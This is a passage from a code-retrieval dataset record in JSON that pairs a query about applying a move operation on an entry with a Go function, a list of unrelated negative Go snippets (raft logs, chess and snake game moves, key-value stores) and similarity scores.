{\\n\\t\\treturn nil, fmt.Errorf(\\\"failed to convert object to unstructured object: %w\\\", err)\\n\\t}\\n\\n\\t// No need to store the status\\n\\tdelete(raw, \\\"status\\\")\\n\\n\\tmetadata := map[string]interface{}{\\n\\t\\t\\\"name\\\": obj.GetName(),\\n\\t}\\n\\n\\tif obj.GetNamespace() != \\\"\\\" {\\n\\t\\tmetadata[\\\"namespace\\\"] = obj.GetNamespace()\\n\\t}\\n\\n\\tif len(obj.GetLabels()) != 0 {\\n\\t\\tmetadata[\\\"labels\\\"] = obj.GetLabels()\\n\\t}\\n\\n\\tif len(obj.GetAnnotations()) != 0 {\\n\\t\\tmetadata[\\\"annotations\\\"] = obj.GetAnnotations()\\n\\t}\\n\\n\\traw[\\\"metadata\\\"] = metadata\\n\\n\\tbuf, err := yaml.Marshal(raw)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"failed to convert unstructured object to json: %w\\\", err)\\n\\t}\\n\\n\\treturn buf, nil\\n}\",\n \"func (c Configuration) YAML() ([]byte, error) {\\n\\treturn yaml.Marshal(c)\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.67082524","0.6616966","0.65532225","0.65532225","0.640341","0.6190374","0.61785454","0.61340964","0.61240435","0.6112163","0.6082385","0.603857","0.60359454","0.6000898","0.5997636","0.5996397","0.59677744","0.59660566","0.59630996","0.5907373","0.59001344","0.58918154","0.5891493","0.58411825","0.582411","0.5818149","0.58088136","0.5800693","0.5762744","0.57558244","0.57272106","0.5724732","0.5666832","0.56275535","0.5621372","0.56108296","0.5608941","0.5603721","0.5601578","0.5601578","0.5594434","0.559416","0.5585264","0.55808014","0.55501187","0.5521694","0.5506272","0.54715204","0.54668176","0.54637706","0.5452956","0.5443939","0.5443609","0.5432492","0.54282653","0.5404126","0.5402731","0.53920865","0.5347163","0.5343615","0.53126097","0.52868587","0.5283169","0.52382475","0.52079356","0.5200511","0.51968116","0.5195353","0.51843214","0.5178314","0.51774794","0.5149331","0.5140382","0.51336896","0.5128209","0.5120217","0.5119364","0.50728714","0.50644195","0.50632524","0.5061355","0.50496686","0.5007057","0.5006994","0.5002691","0.4999875","0.49904805","0.49888802","0.4985342","0.49696922","0.49623024","0.4957633","0.4948247","0.49478596","0.4930868","0.49285495","0.48898712","0.48470357","0.48468143","0.48421595"],"string":"[\n \"0.67082524\",\n \"0.6616966\",\n \"0.65532225\",\n \"0.65532225\",\n \"0.640341\",\n \"0.6190374\",\n \"0.61785454\",\n \"0.61340964\",\n \"0.61240435\",\n \"0.6112163\",\n \"0.6082385\",\n \"0.603857\",\n \"0.60359454\",\n \"0.6000898\",\n \"0.5997636\",\n \"0.5996397\",\n \"0.59677744\",\n \"0.59660566\",\n \"0.59630996\",\n \"0.5907373\",\n \"0.59001344\",\n \"0.58918154\",\n \"0.5891493\",\n \"0.58411825\",\n \"0.582411\",\n \"0.5818149\",\n \"0.58088136\",\n \"0.5800693\",\n \"0.5762744\",\n \"0.57558244\",\n \"0.57272106\",\n \"0.5724732\",\n \"0.5666832\",\n \"0.56275535\",\n \"0.5621372\",\n \"0.56108296\",\n \"0.5608941\",\n \"0.5603721\",\n \"0.5601578\",\n \"0.5601578\",\n \"0.5594434\",\n \"0.559416\",\n \"0.5585264\",\n \"0.55808014\",\n \"0.55501187\",\n \"0.5521694\",\n \"0.5506272\",\n \"0.54715204\",\n \"0.54668176\",\n \"0.54637706\",\n \"0.5452956\",\n \"0.5443939\",\n \"0.5443609\",\n \"0.5432492\",\n \"0.54282653\",\n \"0.5404126\",\n \"0.5402731\",\n \"0.53920865\",\n \"0.5347163\",\n \"0.5343615\",\n \"0.53126097\",\n \"0.52868587\",\n \"0.5283169\",\n \"0.52382475\",\n \"0.52079356\",\n \"0.5200511\",\n \"0.51968116\",\n \"0.5195353\",\n \"0.51843214\",\n \"0.5178314\",\n \"0.51774794\",\n \"0.5149331\",\n \"0.5140382\",\n \"0.51336896\",\n \"0.5128209\",\n \"0.5120217\",\n \"0.5119364\",\n \"0.50728714\",\n \"0.50644195\",\n \"0.50632524\",\n \"0.5061355\",\n \"0.50496686\",\n \"0.5007057\",\n \"0.5006994\",\n \"0.5002691\",\n \"0.4999875\",\n \"0.49904805\",\n \"0.49888802\",\n \"0.4985342\",\n \"0.49696922\",\n \"0.49623024\",\n \"0.4957633\",\n \"0.4948247\",\n \"0.49478596\",\n \"0.4930868\",\n \"0.49285495\",\n \"0.48898712\",\n \"0.48470357\",\n \"0.48468143\",\n \"0.48421595\"\n]"},"document_score":{"kind":"string","value":"0.7636344"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106182,"cells":{"query":{"kind":"string","value":"Apply will perform the move operation on an entry"},"document":{"kind":"string","value":"func (op *OpMove) Apply(e *entry.Entry) error {\n\tval, ok := e.Delete(op.From)\n\tif !ok {\n\t\treturn fmt.Errorf(\"apply move: field %s does not exist on body\", op.From)\n\t}\n\n\treturn e.Set(op.To, val)\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (s *State) applyMove(m Move) {\n\ts.Snakes[m.ID].applyMove(m)\n}","func (a *MoveForwardAction) Apply(currentState *pogo.GameState) (*pogo.GameState, error) {\n\tnextState := currentState.DeepCopy()\n\tnextState.AppendAnimation(animations.GetMoveForward(a.GetOwner()))\n\tplayer := nextState.GetPlayer(a.GetOwner())\n\tif player == nil {\n\t\treturn nextState, fmt.Errorf(\"there is no player with id %v\", a.Owner)\n\t}\n\tswitch player.Facing {\n\tcase 0: // going north\n\t\tplayer.Location = player.Location - nextState.BoardWidth\n\t\tbreak\n\tcase 1: // going east\n\t\tplayer.Location = player.Location + 1\n\t\tbreak\n\tcase 2: // going south\n\t\tplayer.Location = player.Location + nextState.BoardWidth\n\t\tbreak\n\tcase 3: // going west\n\t\tplayer.Location = player.Location - 1\n\t\tbreak\n\tdefault:\n\t\treturn nextState, fmt.Errorf(\"player %v with unknown facing %v\", player.ID, player.Facing)\n\t}\n\treturn nextState, nil\n}","func (gm *gmap) applyEntries(gmp *gmapProgress, apply *apply) {\n\t// Has entry?\n\tif len(apply.entries) == 0 {\n\t\treturn\n\t}\n\t// Is the node leave the cluster tool long, the latest snapshot is better than the entry.\n\tfirsti := apply.entries[0].Index\n\tif firsti > gmp.appliedi+1 {\n\t\tlogger.Panicf(\"first index of committed entry[%d] should <= appliedi[%d] + 1\", firsti, gmp.appliedi)\n\t}\n\t// Extract useful entries.\n\tvar ents []raftpb.Entry\n\tif gmp.appliedi+1-firsti < uint64(len(apply.entries)) {\n\t\tents = apply.entries[gmp.appliedi+1-firsti:]\n\t}\n\t// Iterate all entries\n\tfor _, e := range ents {\n\t\tswitch e.Type {\n\t\t// Normal entry.\n\t\tcase raftpb.EntryNormal:\n\t\t\tif len(e.Data) != 0 {\n\t\t\t\t// Unmarshal request.\n\t\t\t\tvar req InternalRaftRequest\n\t\t\t\tpbutil.MustUnmarshal(&req, e.Data)\n\n\t\t\t\tvar ar applyResult\n\t\t\t\t// Put new value\n\t\t\t\tif put := req.Put; put != nil {\n\t\t\t\t\t// Get set.\n\t\t\t\t\tset, exist := gm.sets[put.Set]\n\t\t\t\t\tif !exist {\n\t\t\t\t\t\tlogger.Panicf(\"set(%s) is not exist\", put.Set)\n\t\t\t\t\t}\n\t\t\t\t\t// Get key, value and revision.\n\t\t\t\t\tkey, value, revision := put.Key, set.vtype.unwrap(put.Value), e.Index\n\t\t\t\t\t// Get map and put value into map.\n\t\t\t\t\tm := set.get(put.Map)\n\t\t\t\t\tm.put(key, value, revision)\n\t\t\t\t\t// Send put event to watcher\n\t\t\t\t\tevent := MapEvent{Type: PUT, KV: &KeyValue{Key: key, Value: value}}\n\t\t\t\t\tm.watchers.Range(func(key, value interface{}) bool {\n\t\t\t\t\t\tkey.(*watcher).eventc <- event\n\t\t\t\t\t\treturn true\n\t\t\t\t\t})\n\t\t\t\t\t// Set apply result.\n\t\t\t\t\tar.rev = revision\n\t\t\t\t}\n\t\t\t\t// Delete value\n\t\t\t\tif del := req.Delete; del != nil {\n\t\t\t\t\t// Get set.\n\t\t\t\t\tset, exist := gm.sets[del.Set]\n\t\t\t\t\tif !exist {\n\t\t\t\t\t\tlogger.Panicf(\"set(%s) is not exist\", del.Set)\n\t\t\t\t\t}\n\t\t\t\t\t// Get map and delete value from map.\n\t\t\t\t\tm := set.get(del.Map)\n\t\t\t\t\tif pre := m.delete(del.Key); nil != pre {\n\t\t\t\t\t\t// Send put event to watcher\n\t\t\t\t\t\tar.pre = *pre\n\t\t\t\t\t\tevent := MapEvent{Type: DELETE, PrevKV: &KeyValue{Key: del.Key, Value: ar.pre.Value}}\n\t\t\t\t\t\tm.watchers.Range(func(key, value interface{}) bool {\n\t\t\t\t\t\t\tkey.(*watcher).eventc <- event\n\t\t\t\t\t\t\treturn true\n\t\t\t\t\t\t})\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Update value\n\t\t\t\tif update := req.Update; update != nil {\n\t\t\t\t\t// Get set.\n\t\t\t\t\tset, exist := gm.sets[update.Set]\n\t\t\t\t\tif !exist {\n\t\t\t\t\t\tlogger.Panicf(\"set(%s) is not exist\", update.Set)\n\t\t\t\t\t}\n\t\t\t\t\t// Get map.\n\t\t\t\t\tm := set.get(update.Map)\n\t\t\t\t\t// Update value.\n\t\t\t\t\tpre, ok := m.update(update.Key, update.Value, update.Revision, e.Index)\n\t\t\t\t\tif ok {\n\t\t\t\t\t\t// The revision will be set only if update succeed\n\t\t\t\t\t\tar.rev = e.Index\n\t\t\t\t\t}\n\t\t\t\t\tif nil != pre {\n\t\t\t\t\t\tar.pre = *pre\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Trigger proposal waiter.\n\t\t\t\tgm.wait.Trigger(req.ID, &ar)\n\t\t\t}\n\t\t// The configuration of gmap is fixed and wil not be synchronized through raft.\n\t\tcase raftpb.EntryConfChange:\n\t\tdefault:\n\t\t\tlogger.Panicf(\"entry type should be either EntryNormal or EntryConfChange\")\n\t\t}\n\n\t\tgmp.appliedi, gmp.appliedt = e.Index, e.Term\n\t}\n}","func applyMove(s *State, m Move) {\n\tprevious := s.CellForPiece(m.Piece())\n\tnext := nextCell(previous, m.Direction())\n\tif pid, ok := s.cellsToPieceIDs.Get(next); ok {\n\t\tif s.playerForPieceID(pid) == s.CurrentPlayer() {\n\t\t\treturn\n\t\t}\n\t}\n\tif p := s.PieceForCell(next); s.PlayerForPiece(p) == s.NextPlayer() {\n\t\ts.pieces.Set(p.ID(), NewPiece(\n\t\t\tp.ID(),\n\t\t\tp.Life()-m.Piece().Damage(),\n\t\t\tp.Damage(),\n\t\t))\n\t\treturn\n\t}\n\ts.piecesToCells.Set(m.Piece(), next)\n\ts.cellsToPieceIDs.Set(next, m.Piece().ID())\n\ts.cellsToPieceIDs.Remove(previous)\n}","func (board Board) ApplyMove(move Move) StoneStorage {\n\tstones := board.stones.Copy()\n\tstones.Move(move)\n\n\treturn Board{board.size, stones}\n}","func (op *OpRemove) Apply(e *entry.Entry) error {\n\te.Delete(op.Field)\n\treturn nil\n}","func (c *CompareAndSwapCommand) Apply(context raft.Context) (interface{}, error) {\n\ts, _ := context.Server().StateMachine().(store.Store)\n\n\te, err := s.CompareAndSwap(c.Key, c.PrevValue, c.PrevIndex, c.Value, c.ExpireTime)\n\n\tif err != nil {\n\t\tlog.Debug(err)\n\t\treturn nil, err\n\t}\n\n\treturn e, nil\n}","func (service *ProjectService) MoveManifestEntry(to, from int) error {\n\treturn service.commander.Register(\n\t\tcmd.Named(\"MoveManifestEntry\"),\n\t\tcmd.Forward(func(modder world.Modder) error {\n\t\t\treturn service.mod.World().MoveEntry(to, from)\n\t\t}),\n\t\tcmd.Reverse(func(modder world.Modder) error {\n\t\t\treturn service.mod.World().MoveEntry(from, to)\n\t\t}),\n\t)\n}","func (m *TMap) Apply(args ...interface{}) interface{} {\n\tkey := args[0]\n\treturn m.At(key)\n}","func (u updateCachedUploadRevision) apply(data *journalPersist) {\n\tc := data.CachedRevisions[u.Revision.ParentID.String()]\n\tc.Revision = u.Revision\n\tif u.SectorIndex == len(c.MerkleRoots) {\n\t\tc.MerkleRoots = append(c.MerkleRoots, u.SectorRoot)\n\t} else if u.SectorIndex < len(c.MerkleRoots) {\n\t\tc.MerkleRoots[u.SectorIndex] = u.SectorRoot\n\t} else {\n\t\t// Shouldn't happen. TODO: Add correct error handling.\n\t}\n\tdata.CachedRevisions[u.Revision.ParentID.String()] = c\n}","func (op *OpRetain) Apply(e *entry.Entry) error {\n\tnewEntry := entry.New()\n\tnewEntry.Timestamp = e.Timestamp\n\tfor _, field := range op.Fields {\n\t\tval, ok := e.Get(field)\n\t\tif !ok {\n\t\t\tcontinue\n\t\t}\n\t\terr := newEntry.Set(field, val)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t*e = *newEntry\n\treturn nil\n}","func (a *MoveBackwardAction) Apply(currentState *pogo.GameState) (*pogo.GameState, error) {\n\tnextState := currentState.DeepCopy()\n\tnextState.AppendAnimation(animations.GetMoveBackward(a.GetOwner()))\n\tplayer := nextState.GetPlayer(a.GetOwner())\n\tif player == nil {\n\t\treturn nextState, fmt.Errorf(\"there is no player with id %v\", a.GetOwner())\n\t}\n\tswitch player.Facing {\n\tcase 0: // facing north going south\n\t\tplayer.Location = player.Location + nextState.BoardWidth\n\t\tbreak\n\tcase 1: // facing east going west\n\t\tplayer.Location = player.Location - 1\n\t\tbreak\n\tcase 2: // facing south going north\n\t\tplayer.Location = player.Location - nextState.BoardWidth\n\t\tbreak\n\tcase 3: // facing west going east\n\t\tplayer.Location = player.Location + 1\n\t\tbreak\n\tdefault:\n\t\treturn nextState, fmt.Errorf(\"player %v with unknown facing %v\", player.ID, player.Facing)\n\t}\n\treturn nextState, nil\n}","func ApplyMove(board Board, fullMove FullMove, updateStates bool) Board {\n\tinfo := GetBoardAt(board, fullMove.pos)\n\n\t// switch state changes for castling & en-passant\n\tif updateStates {\n\t\tboard = resetPawnsStatus(board, info.color)\n\t\tif info.piece == Piece_King || info.piece == Piece_Rock {\n\t\t\tinfo.status = PieceStatus_CastlingNotAllowed\n\t\t}\n\t\tif info.piece == Piece_Pawn && math.Abs(float64(fullMove.move.y)) == 2. {\n\t\t\tinfo.status = PieceStatus_EnPassantAllowed\n\t\t}\n\t\tif info.piece == Piece_Pawn && math.Abs(float64(fullMove.move.y)) == 1. {\n\t\t\tinfo.status = PieceStatus_Default\n\t\t}\n\t}\n\n\tSetBoardAt(&board, fullMove.pos, EmptyPieceInfo)\n\tSetBoardAt(&board, PositionAdd(fullMove.pos, fullMove.move), info)\n\treturn board\n}","func (s *Store) Apply(command []byte, index uint64) (resp interface{}, err error) {\n\traftCmd := raftpb.CreateRaftCommand()\n\tif err = raftCmd.Unmarshal(command); err != nil {\n\t\tpanic(err)\n\t}\n\n\tswitch raftCmd.Type {\n\tcase raftpb.CmdType_WRITE:\n\t\tresp, err = s.execRaftCommand(index, raftCmd.WriteCommands)\n\n\tdefault:\n\t\ts.Engine.SetApplyID(index)\n\t\terr = storage.ErrorCommand\n\t\tlog.Error(\"unsupported command[%s]\", raftCmd.Type)\n\t}\n\n\traftCmd.Close()\n\treturn\n}","func (b Board) ApplyMove(m Move) (Piece, error) {\n\tif !b.CanApplyMove(m) {\n\t\treturn PieceNull, NewMoveError(m)\n\t}\n\tif m.IsDrop() {\n\t\tb[m.To] = m.SideAndPiece()\n\t} else {\n\t\tfromSap := b.Get(m.From)\n\t\ttoSap := b.Get(m.To)\n\t\tif fromSap.Piece != m.Piece {\n\t\t\tp := fromSap.Piece.Promote()\n\t\t\tif p != m.Piece {\n\t\t\t\t// FIXME: should return better error\n\t\t\t\treturn PieceNull, NewInvalidStateError(\"fromSap is not correspond to m\")\n\t\t\t}\n\t\t\tfromSap.Piece = p\n\t\t}\n\t\tb[m.To] = fromSap\n\t\tb.SafeRemove(m.From)\n\t\tif toSap != SideAndPieceNull {\n\t\t\treturn toSap.Piece, nil\n\t\t}\n\t}\n\treturn PieceNull, nil\n}","func (g *Game) ApplyMove(move Move) Game {\n\tclone := *g\n\tclone.applyMove(move)\n\tclone.updateGameState()\n\treturn clone\n}","func (c *Controller) apply(key string) error {\n\titem, exists, err := c.indexer.GetByKey(key)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif !exists {\n\t\treturn c.remove(key)\n\t}\n\treturn c.upsert(item, key)\n}","func (p PiecePositions) ApplyMove(c Color, move *Move, movingPiece, capturedPiece NormalizedPiece) PiecePositions {\n\tpieces := NewPiecePositions()\n\tfor color, _ := range pieces {\n\t\tfor pieceIx, oldPositions := range p[color] {\n\n\t\t\tpiece := NormalizedPiece(pieceIx)\n\t\t\tif (Color(color) == c && piece != movingPiece) || (Color(color) != c && piece != capturedPiece) {\n\t\t\t\tpieces[color][piece] = oldPositions\n\t\t\t\tcontinue\n\t\t\t} else {\n\t\t\t\tpieces[color][piece] = PositionBitmap(0)\n\t\t\t}\n\n\t\t\tfor _, pos := range oldPositions.ToPositions() {\n\t\t\t\tif Color(color) == c && piece == movingPiece && pos == move.From {\n\t\t\t\t\t// This is the piece that is moving and we need to replace its\n\t\t\t\t\t// position with the move's target.\n\t\t\t\t\t// There's a special case for promotions, because in that case\n\t\t\t\t\t// we need to remove the pawn instead, and add a new piece.\n\t\t\t\t\tif move.Promote == NoPiece {\n\t\t\t\t\t\tpieces[color][piece] = pieces[color][piece].Add(move.To)\n\t\t\t\t\t}\n\t\t\t\t} else if Color(color) != c && piece == capturedPiece && pos == move.To {\n\t\t\t\t\t// Skip captured pieces\n\t\t\t\t\tcontinue\n\t\t\t\t} else {\n\t\t\t\t\t// Copy unaffected pieces\n\t\t\t\t\tpieces[color][piece] = pieces[color][piece].Add(pos)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t// Handle promote\n\tif move.Promote != NoPiece {\n\t\tnormPromote := move.Promote.ToNormalizedPiece()\n\t\tpieces[c][normPromote] = pieces[c][normPromote].Add(move.To)\n\t}\n\n\t// There is another special case for castling, because now we also\n\t// need to move the rook's position.\n\tif movingPiece == King && c == Black {\n\t\tif move.From == E8 && move.To == G8 {\n\t\t\tpieces.move(Black, Rook, H8, F8)\n\t\t} else if move.From == E8 && move.To == C8 {\n\t\t\tpieces.move(Black, Rook, A8, D8)\n\t\t}\n\t} else if movingPiece == King && c == White {\n\t\tif move.From == E1 && move.To == G1 {\n\t\t\tpieces.move(White, Rook, H1, F1)\n\t\t} else if move.From == E1 && move.To == C1 {\n\t\t\tpieces.move(White, Rook, A1, D1)\n\t\t}\n\t}\n\treturn pieces\n}","func (l *leader) applyCommitted() {\n\t// add all entries <=commitIndex & add only non-log entries at commitIndex+1\n\tvar prev, ne *newEntry = nil, l.neHead\n\tfor ne != nil {\n\t\tif ne.index <= l.commitIndex {\n\t\t\tprev, ne = ne, ne.next\n\t\t} else if ne.index == l.commitIndex+1 && !ne.isLogEntry() {\n\t\t\tprev, ne = ne, ne.next\n\t\t} else {\n\t\t\tbreak\n\t\t}\n\t}\n\tvar head *newEntry\n\tif prev != nil {\n\t\thead = l.neHead\n\t\tprev.next = nil\n\t\tl.neHead = ne\n\t\tif l.neHead == nil {\n\t\t\tl.neTail = nil\n\t\t}\n\t}\n\n\tapply := fsmApply{head, l.log.ViewAt(l.log.PrevIndex(), l.commitIndex)}\n\tif trace {\n\t\tprintln(l, apply)\n\t}\n\tl.fsm.ch <- apply\n}","func (o *Operation) apply(to interface{}) (interface{}, error) {\n\tswitch o.Op {\n\tcase \"test\":\n\t\treturn to, o.path.Test(to, o.Value)\n\tcase \"replace\":\n\t\treturn o.path.Replace(to, o.Value)\n\tcase \"add\":\n\t\treturn o.path.Put(to, o.Value)\n\tcase \"remove\":\n\t\treturn o.path.Remove(to)\n\tcase \"move\":\n\t\treturn o.from.Move(to, o.path)\n\tcase \"copy\":\n\t\treturn o.from.Copy(to, o.path)\n\tdefault:\n\t\treturn to, fmt.Errorf(\"Invalid op %v\", o.Op)\n\t}\n}","func (g *Game) applyMove(move Move) {\n\tif move.IsDrop() {\n\t\tp := move.Piece.WithArmy(g.armies[ColorIdx(move.Piece.Color())])\n\t\tg.board.SetPieceAt(move.To, p)\n\t\treturn\n\t}\n\n\t// Advance turn\n\tmovingPlayer := g.toMove\n\tepSquare := g.epSquare\n\tif !g.kingTurn {\n\t\tg.halfmoveClock++\n\t\tg.epSquare = InvalidSquare\n\t}\n\tif g.armies[ColorIdx(movingPlayer)] == ArmyTwoKings && !g.kingTurn {\n\t\tg.kingTurn = true\n\t} else {\n\t\tg.kingTurn = false\n\t\tg.toMove = OtherColor(movingPlayer)\n\t}\n\tif g.toMove == ColorWhite && !g.kingTurn {\n\t\tg.fullmoveNumber++\n\t}\n\n\tif move.IsPass() {\n\t\treturn\n\t}\n\n\t// Handle captures and duels\n\tp, _ := g.board.PieceAt(move.From)\n\tp = p.WithArmy(g.armies[ColorIdx(p.Color())])\n\tme := moveExecution{\n\t\tepSquare: epSquare,\n\t\tattackerStones: g.stones[ColorIdx(movingPlayer)],\n\t\tdefenderStones: g.stones[1-ColorIdx(movingPlayer)],\n\t\tduels: move.Duels[:],\n\t\tdryRun: false,\n\t}\n\tsurvived := g.handleAllCaptures(p, move, &me)\n\n\t// Update stones\n\tg.stones[ColorIdx(movingPlayer)] = me.attackerStones\n\tg.stones[1-ColorIdx(movingPlayer)] = me.defenderStones\n\tisZeroingMove := me.isCapture\n\n\t// Move the piece\n\tdelta := int(move.To.Address) - int(move.From.Address)\n\tif survived {\n\t\tif p.Name() != PieceNameAnimalsBishop || !isZeroingMove {\n\t\t\tg.board.ClearPieceAt(move.From)\n\t\t\tif move.Piece != InvalidPiece {\n\t\t\t\tpromoted := NewPiece(move.Piece.Type(), p.Army(), p.Color())\n\t\t\t\tg.board.SetPieceAt(move.To, promoted)\n\t\t\t} else {\n\t\t\t\tg.board.SetPieceAt(move.To, p)\n\t\t\t}\n\t\t}\n\t} else {\n\t\tg.board.ClearPieceAt(move.From)\n\t}\n\tif p.Type() == TypePawn && p.Army() != ArmyNemesis {\n\t\tisZeroingMove = true\n\t\tif SquareDistance(move.From, move.To) > 1 {\n\t\t\tg.epSquare = Square{Address: uint8(int(move.From.Address) + delta/2)}\n\t\t}\n\t} else if p.Name() == PieceNameClassicKing {\n\t\t// Clear castling rights on king move\n\t\tfirstRank := maskRank[7-7*ColorIdx(p.Color())]\n\t\tg.castlingRights &^= firstRank\n\n\t\t// Move rook when castling\n\t\tif delta == -2 {\n\t\t\tg.board.MovePiece(\n\t\t\t\tSquare{Address: move.To.Address - 2},\n\t\t\t\tSquare{Address: move.To.Address + 1},\n\t\t\t)\n\t\t} else if delta == 2 {\n\t\t\tg.board.MovePiece(\n\t\t\t\tSquare{Address: move.To.Address + 1},\n\t\t\t\tSquare{Address: move.To.Address - 1},\n\t\t\t)\n\t\t}\n\t}\n\n\t// Update the halfmove clock\n\tif isZeroingMove {\n\t\tg.halfmoveClock = 0\n\t}\n\t// Clear castling right on rook move or rook capture\n\tfor _, mask := range castles {\n\t\tif move.From.mask()&mask != 0 || move.To.mask()&mask != 0 {\n\t\t\tg.castlingRights &^= mask\n\t\t}\n\t}\n\n\treturn\n}","func (a Atomic) Apply(ctx Context, c Change) Value {\n\tswitch c := c.(type) {\n\tcase nil:\n\t\treturn a\n\tcase Replace:\n\t\tif !c.IsCreate() {\n\t\t\treturn c.After\n\t\t}\n\t}\n\treturn c.(Custom).ApplyTo(ctx, a)\n}","func (e *Entry) Move(newfrag int, flags RenameFlags) error {\n\tfcode := C.CString(e.name)\n\tdefer C.free(unsafe.Pointer(fcode))\n\tcidx := C.int(newfrag)\n\tresult := C.gd_move(e.df.d, fcode, cidx, C.uint(flags))\n\tif result < 0 {\n\t\treturn e.df.Error()\n\t}\n\te.fragment = newfrag\n\treturn nil\n}","func (format *Move) ApplyFormatter(msg *core.Message) error {\n\tsrcData := format.GetSourceData(msg)\n\n\tformat.SetTargetData(msg, srcData)\n\tformat.SetSourceData(msg, nil)\n\treturn nil\n}","func ApplyMovesToBoard(moves map[string][]string, board structs.Board) structs.Board {\n\tnewBoard := board.Clone()\n\n\tfor i := range moves[newBoard.Snakes[0].ID] { // [left, right, down]\n\t\tsnakes := []structs.Snake{}\n\t\tfor j, snake := range newBoard.Snakes {\n\t\t\tnext := snake.Body[0].Move(moves[snake.ID][i])\n\t\t\tnewBoard.Snakes[j].Body = append([]structs.Coordinate{next}, snake.Body...)\n\t\t\tnewBoard.Snakes[j].Health = snake.Health - 1\n\t\t\tif !CoordInList(snake.Body[0], newBoard.Food) {\n\t\t\t\tnewBoard.Snakes[j].Body = newBoard.Snakes[j].Body[:len(newBoard.Snakes[j].Body)-1]\n\t\t\t} else {\n\t\t\t\tnewBoard.Snakes[j].Health = 100\n\t\t\t}\n\t\t\t// only keep snakes which haven't starved or gone out of bounds\n\t\t\tif !IsOutOfBounds(newBoard, next) && !IsStarved(newBoard.Snakes[j]) && !HitOtherSnake(newBoard, next) {\n\t\t\t\tsnakes = append(snakes, newBoard.Snakes[j])\n\t\t\t}\n\t\t}\n\t\tnewBoard.Snakes = snakes\n\t}\n\t// update snakes on the board to exclude dead snakes\n\treturn newBoard\n}","func (kv *RaftKV) Apply(msg *raft.ApplyMsg) {\n\tkv.mu.Lock()\n\tdefer kv.mu.Unlock()\n\n\tvar args Op\n\targs = msg.Command.(Op)\n\tif kv.op_count[args.Client] >= args.Id {\n\t\tDPrintf(\"Duplicate operation\\n\")\n\t}else {\n\t\tswitch args.Type {\n\t\tcase OpPut:\n\t\t\tDPrintf(\"Put Key/Value %v/%v\\n\", args.Key, args.Value)\n\t\t\tkv.data[args.Key] = args.Value\n\t\tcase OpAppend:\n\t\t\tDPrintf(\"Append Key/Value %v/%v\\n\", args.Key, args.Value)\n\t\t\tkv.data[args.Key] = kv.data[args.Key] + args.Value\n\t\tdefault:\n\t\t}\n\t\tkv.op_count[args.Client] = args.Id\n\t}\n\n\t//DPrintf(\"@@@Index:%v len:%v content:%v\\n\", msg.Index, len(kv.pendingOps[msg.Index]), kv.pendingOps[msg.Index])\n\t//DPrintf(\"@@@kv.pendingOps[%v]:%v\\n\", msg.Index, kv.pendingOps[msg.Index])\n\tfor _, i := range kv.pendingOps[msg.Index] {\n\t\tif i.op.Client==args.Client && i.op.Id==args.Id {\n\t\t\tDPrintf(\"Client:%v %v, Id:%v %v\", i.op.Client, args.Client, i.op.Id, args.Id)\n\t\t\ti.flag <- true\n\t\t}else {\n\t\t\tDPrintf(\"Client:%v %v, Id:%v %v\", i.op.Client, args.Client, i.op.Id, args.Id)\n\t\t\ti.flag <-false\n\t\t}\n\t}\n\tdelete(kv.pendingOps, msg.Index)\n}","func (c *WriteCommand) Apply(server raft.Server) (interface{}, error) {\n\tctx := server.Context().(ServerContext)\n\tdb := ctx.Server.db\n\tdb.Put(c.Key, c.Value)\n\treturn nil, nil\n}","func (game *Game) ApplyTurn(input string, gameDB *GameDB) (Result, error) {\n\tvar err error\n\tvar placements []TilePlacement\n\tvar score int\n\tvar words []Word\n\tvar result Result\n\n\ttokens := strings.Split(input, \" \")\n\tif len(tokens) == 0 {\n\t\treturn Result{}, ErrInvalidAction\n\t}\n\n\tresult.Action = tokens[0]\n\ttokens = tokens[1:]\n\tswitch result.Action {\n\tcase \"swap\":\n\t\t// Format of `swap a b c d`\n\t\ttiles := parseTiles(tokens)\n\t\terr = game.SwapTiles(tiles)\n\t\tresult.Swapped = len(tiles)\n\n\tcase \"place\":\n\t\t// Format of `place a(1,a) b(2,a)`\n\t\tplacements, err = parseTilePlacements(tokens)\n\t\tif err != nil {\n\t\t\treturn Result{}, err\n\t\t}\n\t\twords, score, err = game.PlaceTiles(placements)\n\t\tresult.Words = words\n\t\tresult.Score = score\n\tdefault:\n\t\treturn Result{}, ErrInvalidAction\n\t}\n\tif err != nil {\n\t\treturn Result{}, err\n\t}\n\tgame.Turn.input = input\n\tgame.Turn.score = score\n\tgame.Turns = append(game.Turns, game.Turn)\n\n\terr = gameDB.SaveState(game)\n\tif err != nil {\n\t\treturn Result{}, err\n\t}\n\tgame.SetNextTurn()\n\n\treturn result, nil\n}","func (s *itemState) buildMoveOps(txn checkpointTxn, cur keyspace.KeyValue, a Assignment) {\n\t// Atomic move of same value from current Assignment key, to a new one under the current Lease.\n\ttxn.If(modRevisionUnchanged(cur)).\n\t\tThen(\n\t\t\tclientv3.OpDelete(string(cur.Raw.Key)),\n\t\t\tclientv3.OpPut(AssignmentKey(s.global.KS, a), string(cur.Raw.Value),\n\t\t\t\tclientv3.WithLease(clientv3.LeaseID(cur.Raw.Lease))))\n}","func (s *State) apply(tx Transaction) error {\n\tif tx.IsReward() {\n\t\ts.Balances[tx.To] += tx.Value\n\t\treturn nil\n\t}\n\n\tif tx.Value > s.Balances[tx.From] {\n\t\treturn fmt.Errorf(\"Insufficient Balance!\")\n\t}\n\n\ts.Balances[tx.From] -= tx.Value\n\ts.Balances[tx.To] += tx.Value\n\n\treturn nil\n}","func (s *State) apply(tx Tx) error {\n\tif tx.IsReward() {\n\t\ts.Balances[tx.To] += tx.Value\n\t\treturn nil\n\t}\n\n\tif s.Balances[tx.From] < tx.Value {\n\t\treturn fmt.Errorf(\"insufficient balance\")\n\t}\n\n\ts.Balances[tx.From] -= tx.Value\n\ts.Balances[tx.To] += tx.Value\n\n\treturn nil\n}","func (e *Embedding) ApplyDelta(delta mat.Matrix) {\n\tif e.storage.ReadOnly 